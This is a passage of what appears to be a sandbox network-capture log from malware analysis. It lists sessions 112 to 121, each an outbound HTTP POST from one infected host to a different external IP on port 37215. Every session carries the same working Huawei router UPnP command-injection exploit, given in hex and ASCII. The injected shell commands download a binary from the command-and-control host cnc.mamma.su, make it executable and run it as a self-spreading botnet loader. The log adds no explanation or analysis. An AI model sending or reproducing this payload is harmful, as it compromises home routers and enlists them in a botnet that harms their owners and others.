6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.13	51860	197.251.81.12	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582343102 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.13	53592	41.65.65.28	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582367897 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.13	38220	197.46.46.122	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582408905 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.13	57612	41.86.255.186	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582410097 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.13	43454	156.221.71.103	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582444906 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	49320	41.245.208.210	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582464933 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	57176	197.86.231.106	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582475901 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	34680	41.219.47.145	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582504034 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	39812	197.82.171.187	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582519054 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	59504	156.102.86.247	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582539082 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

